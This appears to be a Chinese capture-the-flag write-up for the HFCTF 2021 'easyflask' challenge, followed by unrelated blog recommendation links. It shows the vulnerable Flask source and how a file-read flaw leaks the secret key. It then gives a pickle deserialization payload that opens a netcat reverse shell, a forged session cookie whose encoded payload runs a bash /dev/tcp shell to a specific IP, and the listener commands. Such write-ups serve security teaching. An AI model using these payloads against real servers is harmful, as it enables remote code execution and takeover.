[HFCTF 2021 Final]easyflask

[HFCTF 2021 Final]easyflask

\[python反序列化\]

  • 首先题目给了提示,有文件读取漏洞,读取源码
python 复制代码
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):#如果u对应的值是字典,会读取  u.b
            u = b64decode(u.get('b'))
        u = pickle.loads(u)#pickle反序列化
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
  • 我们可以发现/admin目录下面有反序列化函数,但是我们直接反问不行

  • 需要知道密钥,尝试读取/proc/self/environ,得到

    glzjin22948575858jfjfjufirijidjitg3uiiuuh

通过

python 复制代码
        u = session.get('u')
        if isinstance(u, dict):#如果u对应的值是字典,会读取  u.b
            u = b64decode(u.get('b'))
        u = pickle.loads(u)#pickle反序列化

我们可以知道,需要构造的秘钥结构:{"u":{"b":"反序列化的内容"}}

  • 通过源码可知,这是python3.6,使用python3脚本进行构造
python 复制代码
import base64  
import pickle  
  
  
class User(object):  
def __reduce__(self):  
return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",))  
  
  
print(base64.b64encode(pickle.dumps(User())))

得到:

payload

复制代码
python3 flask_session_cookie_manager3.py encode -t '{"u":{"b":"gASVUQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDZiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzExNy41MC4xOTAuMTU1LzY2NjYgMD4mMSeUhZRSlC4="}}' -s "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

得到
.eJyrVipVsqpWSlKyUkp3DA4LDXSEAmdfpwinsmSjHJMcz3L3ZOOcqhT3sJIcL__QLJeozMgIv3xPZ8MsT-cUGLvA08Uk19PZMjsqIrIsxd2v3KfKtcKv0sTQ19mkwj_EsdQ3JNTQpyrSyC8rMt0XqNY3ODU0IyooOMfZxFapthYAzr8sbA.ZXMgvg.5o4NfEz84xfp9DPivNGKpmxTdd0

监听
nc -lvnp 6666
直接
cat /flag
相关推荐
不会写代码的里奇5 小时前
VMware Ubuntu 22.04 NAT模式下配置GitHub SSH完整教程(含踩坑实录+报错_成功信息对照)
linux·经验分享·笔记·git·ubuntu·ssh·github
_不会dp不改名_5 小时前
HCIP笔记5--OSPF域间路由、虚链路、认证
网络·笔记·hcip
虫洞没有虫5 小时前
Go语言学习笔记(二)
笔记·学习
介一安全6 小时前
【Frida Android】实战篇5:SSL Pinning 证书绑定绕过 Hook 教程(二)
android·网络安全·逆向·安全性测试·frida
AA陈超6 小时前
ASC学习笔记0001:处理目标选择系统中当Actor拒绝目标确认时的调用
c++·笔记·学习·游戏·ue5·游戏引擎·虚幻
星星20256 小时前
电子电气架构全解析
笔记
黄焖鸡能干四碗7 小时前
网络安全态势报告,网络安全风险评估报告文档
大数据·网络·安全·web安全·信息可视化·需求分析
AI研一研7 小时前
如何快速学习知识、查找要点、把知识读“薄”、读“精”?
人工智能·学习
智者知已应修善业7 小时前
【给定英文字符串统计最多小写最前输出】2023-2-27
c语言·开发语言·c++·经验分享·笔记·算法
我的golang之路果然有问题7 小时前
mac配置 unity+vscode的坑
开发语言·笔记·vscode·macos·unity·游戏引擎